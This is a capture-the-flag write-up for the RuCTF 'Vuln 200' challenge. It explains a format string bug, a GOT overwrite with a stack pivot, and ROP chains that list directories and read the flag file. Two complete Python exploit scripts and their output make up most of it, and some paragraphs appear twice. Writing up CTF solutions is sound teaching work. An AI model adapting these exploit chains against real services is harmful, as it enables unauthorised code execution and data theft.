Vuln 200 is a 32 bit ELF protected with NX and ASLR enabled and no RELRO. This is what it looked like:
The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.
Then we decided to dump the directory list using the following payload:
[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
[ctf@renorobert ructf]$ nc 192.168.122.100 16711 > a Available commands: help -- show this message quit -- quit rating -- show player rating summary <player_name> -- show the main stats of the player stats <player_name> -- show all the stats of the playerThe stats command lead way to a format string vulnerability as the player_name input is directly used in vsnprintf() call. Now this vulnerabilty can be used to take control of EIP.
The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
.text:0804A6D0 mov [esp+428h+nbytes], 3E8h ; nbytes .text:0804A6D8 lea eax, [ebp+s] .text:0804A6DE mov [esp+428h+buf], eax ; buf .text:0804A6E2 mov eax, [ebp+fd] .text:0804A6E5 mov [esp+428h+descriptor], eax ; fd .text:0804A6E8 call _read .text:0804A6ED mov [ebp+var_C], eax .text:0804A6F0 cmp [ebp+var_C], 0 .text:0804A6F4 jz short loc_804A70D .text:0804A6F6 mov eax, [ebp+arg_4] .text:0804A6F9 mov [esp+428h+buf], eax ; s .text:0804A6FD lea eax, [ebp+s] .text:0804A703 mov [esp+428h+user_input], eax .text:0804A706 call check_options ; check_options .text:0804A592 push ebp .text:0804A593 mov ebp, esp .text:0804A595 sub esp, 28h .text:0804A598 mov [esp+28h+n], 4 ; n .text:0804A5A0 mov [esp+28h+c], offset aQuit ; "quit" .text:0804A5A8 mov eax, [ebp+user_input] .text:0804A5AB mov [esp+28h+dest], eax .text:0804A5AE call _strncmp ; EAX holds the address of buffer used by read()With EAX holding address pointing to user input, there is nice gadget to pivot the stack
0x08048ab8: xchg eax, esp; retUsing the format string vulnerability, the GOT entry of strncmp() can be overwritten with address of stack pivot gadget to move ESP to buffer used by read(). Now we have both EIP and ESP under control. The idea was to use a ROP payload to call system().
Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.
Then we decided to dump the directory list using the following payload:
[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
#!/usr/bin/env python import struct import telnetlib ip = '192.168.122.100' ip = 'vuln1.quals.ructf.org' port = 16711 plt_write = 0x08048d00 plt_exit = 0x08048ca0 plt_read = 0x08048b90 got_strncmp = 0x0804c3bc bss = 0x0804c500 option = "stats " format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload con = telnetlib.Telnet(ip, port) con.read_until('>') # overwrite strncmp using format string payload = option payload += struct.pack("<I", got_strncmp) payload += format_str con.write(payload + "\n") con.read_until('>') payload = struct.pack("<I", plt_read) payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret payload += struct.pack("<I", 0x4) payload += struct.pack("<I", bss) payload += struct.pack("<I", 0x400) payload += struct.pack("<I", 0x08048a48) # pop esp; ret payload += struct.pack("<I", bss) con.write(payload + "\n") file_to_read = "/home/tasks/aggregator/ctf/" file_to_read = file_to_read + "\x00" * (40 - len(file_to_read)) payload = struct.pack("<I", 0x08048eb0) # opendir@plt payload += struct.pack("<I", 0x08049544) # pop ebp ; ret payload += struct.pack("<I", bss+356) payload += struct.pack("<I", 0x0804aa3e) # pop edi ; pop ebp ; ret payload += struct.pack("<I", 64) # for edi payload += struct.pack("<I", 0x41414141) # junk for ebp payload += struct.pack("<I", 0x08048b51) # pop ebx payload += struct.pack("<I", bss+396) # bss address holding address of 3pop reg gadget payload += struct.pack("<I", 0x08048a48) # pop esp, ret payload += struct.pack("<I", bss+400) # move stack to write the return value of opendir() #payload += struct.pack("<I", 0x08048991)*3 payload += struct.pack("<I", 0x08048dc0) # readdir@plt payload += struct.pack("<I", 0x08049544) # pop ebp ; ret payload += struct.pack("<I", 0x086891f8) # address of stream ; leaked after call to opendir() payload += struct.pack("<I", plt_write) payload += struct.pack("<I", plt_exit) payload += struct.pack("<I", 0x4) payload += struct.pack("<I", 0x086891f8) payload += struct.pack("<I", 0x4000) # opendir heap address leak #payload += struct.pack("<I", bss+408) #payload += struct.pack("<I", 0x4) payload += "B"*284 payload += file_to_read payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret payload += struct.pack("<I", 0x0804aa27) # mov dword [esp+0x04], eax ; call dword [ebx+edi*4-0x00000100] payload += "A"*8 # will be overwritten by stream payload += struct.pack("<I", 0x08048a48) # pop esp, ret payload += struct.pack("<I", bss+40) # restore stack con.write(payload + "\n") print con.read_all() #print hex(struct.unpack("<I",con.read_all().lstrip())[0]) """ [ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump Real.ngLog.2012.07.42.42.42.24.7777.log """Dumping through /home/tasks/aggregator/, some interesting file was found in sniperserver and ctf.
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump Unreal.ngLog.2012.07.21.01.53.09.7777.log Unreal.ngLog.2012.07.21.02.41.14.7777.log Unreal.ngLog.2012.07.21.01.42.52.7777.log Unreal.ngLog.2012.07.21.02.44.35.7777.log Unreal.ngLog.2012.07.24.03.58.53.7777.log Unreal.ngLog.2012.07.21.02.21.05.7777.log Unreal.ngLog.2012.07.21.02.49.50.7777.log Unreal.ngLog.2012.07.21.01.27.20.7777.log *-xi8 Unreal.ngLog.2012.07.21.01.11.16.7777.log Unreal.ngLog.2012.07.21.02.58.49.7777.log Unreal.ngLog.2012.07.21.01.58.17.7777.log XOw8 Unreal.ngLog.2012.07.21.03.02.54.7777.log Unreal.ngLog.2012.07.21.02.09.24.7777.log [ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump Real.ngLog.2012.07.42.42.42.24.7777.logThe final payload was to read the ctf/Real.ngLog.2012.07.42.42.42.24.7777.log file which gave the flag
[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
#!/usr/bin/env python import struct import telnetlib ip = '192.168.122.100' ip = 'vuln1.quals.ructf.org' port = 16711 plt_write = 0x08048d00 plt_read = 0x08048b90 plt_exit = 0x08048ca0 got_strncmp = 0x0804c3bc bss = 0x0804c500 option = "stats " format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload con = telnetlib.Telnet(ip, port) con.read_until('>') # overwrite strncmp using format string payload = option payload += struct.pack("<I", got_strncmp) payload += format_str con.write(payload + "\n") con.read_until('>') payload = struct.pack("<I", plt_read) payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret payload += struct.pack("<I", 0x4) payload += struct.pack("<I", bss) payload += struct.pack("<I", 0x400) payload += struct.pack("<I", 0x08048a48) # pop esp; ret payload += struct.pack("<I", bss) con.write(payload + "\n") file_to_read = "ctf/Real.ngLog.2012.07.42.42.42.24.7777.log\x00" payload = struct.pack("<I", 0x08048d20) # fopen@plt payload += struct.pack("<I", 0x08049945) # pop ebx ; pop ebp ; ret payload += struct.pack("<I", bss+56) # filename payload += struct.pack("<I", 0x0804875d) # readmode payload += struct.pack("<I", plt_read) # read@plt payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret payload += struct.pack("<I", 0x5) # descriptor payload += struct.pack("<I", bss+156) payload += struct.pack("<I", 200) payload += struct.pack("<I", plt_write) # write@plt payload += struct.pack("<I", plt_exit) payload += struct.pack("<I", 0x4) payload += struct.pack("<I", bss+156) payload += struct.pack("<I", 0x1024) payload += file_to_read con.write(payload + "\n") print con.read_all().lstrip().rstrip() """ [ctf@renorobert ructf]$ python read_file.py 0.59 player Connect RUCTF_5b75086a 0 False 0.59 player Connect Fledi 1 False 0.99 player Connect ;itachi 2 False 0.99 player Connect Mina 3 False 0.99 player Connect Dune2000 4 False 2.81 player """Flag for the challenge is RUCTF_5b75086a which I got just 15 mins before closing time :D